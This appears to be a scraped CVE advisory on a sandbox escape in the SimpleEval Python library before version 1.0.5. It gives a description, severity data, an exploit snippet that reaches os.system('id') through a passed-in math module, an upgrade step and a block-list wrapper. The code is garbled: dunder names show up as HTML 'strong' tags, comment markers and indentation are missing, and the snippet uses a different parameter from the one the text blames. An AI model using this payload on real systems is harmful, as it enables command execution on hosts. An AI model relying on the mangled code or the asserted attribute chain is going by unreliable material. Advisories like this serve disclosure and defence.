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The vulnerability stems from how the SimpleEval library prior to version 1.0.5 handles objects passed into its sandboxed evaluation environment. When a user provides external objects or modules via the `names` parameter, the sandbox does not adequately restrict access to their attributes. An attacker can exploit this by navigating the attribute chain of a seemingly safe object to reach dangerous built-in modules like `os` or `sys` . For example, if a passed-in object has a chain of attributes that eventually leads to os.system, an expression can directly call it. Furthermore, the attack surface is expanded by the ability to pass dangerous functions as callbacks to otherwise safe functions within the sandbox. This allows the malicious function to be executed indirectly, breaking the sandbox’s security assumptions. The issue is rooted in improper control over which object attributes can be modified or accessed (CWE-915) and failure to neutralize special elements that could modify code syntax (CWE-94) . The fix in version 1.0.5 involves using a wrapper to sanitize objects, preventing the traversal to unsafe modules .
dailycve form:
Platform: SimpleEval
Version: < 1.0.5
Vulnerability : Sandbox Escape
Severity: High
date: 2026-03-13
Prediction: Patched (1.0.5)
What Undercode Say:
Analytics:
The vulnerability allows for arbitrary command execution on the host system by escaping the intended sandbox environment. It requires the attacker to be able to supply expressions to the evaluator and for the application to have passed a vulnerable object into the sandbox’s context. The CVSS v4.0 score is 8.7 (High), with a vector string indicating a network attack vector, low attack complexity, and high impact on integrity .
Exploit:
Example of a vulnerable setup and exploit
Assume an application passes the 'math' module into the sandbox.
The attacker provides the following SimpleEval expression:
import simpleeval
import math
Vulnerable instantiation (prior to 1.0.5)
s_eval = simpleeval.SimpleEval(functions={'math': math})
Malicious expression to leak the 'os' module and execute a command
This navigates: math.<strong>spec</strong>.loader.path --> ... eventually to os.system
malicious_expression = "math.<strong>spec</strong>.loader.<strong>init</strong>.<strong>globals</strong>['sys'].modules['os'].system('id')"
Executing the exploit
try:
result = s_eval.eval(malicious_expression)
print(f"Exploit output: {result}")
except Exception as e:
print(f"Exploit failed on patched system: {e}")
Protection from this CVE:
Immediate mitigation is to upgrade to version 1.0.5 or later.
pip install --upgrade simpleeval
If unable to upgrade, implement a wrapper as a workaround.
Example ModuleWrapper logic (conceptual) from the patch:
class ModuleWrapper:
def <strong>init</strong>(self, wrapped):
self._wrapped = wrapped
def <strong>getattr</strong>(self, name):
Block access to dangerous attributes or modules
if name in ['os', 'sys', '<strong>builtins</strong>', '<strong>globals</strong>']:
raise AttributeError(f"Access to '{name}' is blocked.")
return getattr(self._wrapped, name)
When passing modules to SimpleEval, wrap them:
safe_math = ModuleWrapper(math)
s_eval = simpleeval.SimpleEval(names={'math': safe_math})
Impact:
Successful exploitation leads to a complete sandbox bypass. An attacker could execute arbitrary operating system commands, read or modify sensitive files, and potentially pivot to compromise the host system. The integrity of the application and its environment is severely compromised.
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Sources:
Reported By: github.com
Extra Source Hub:
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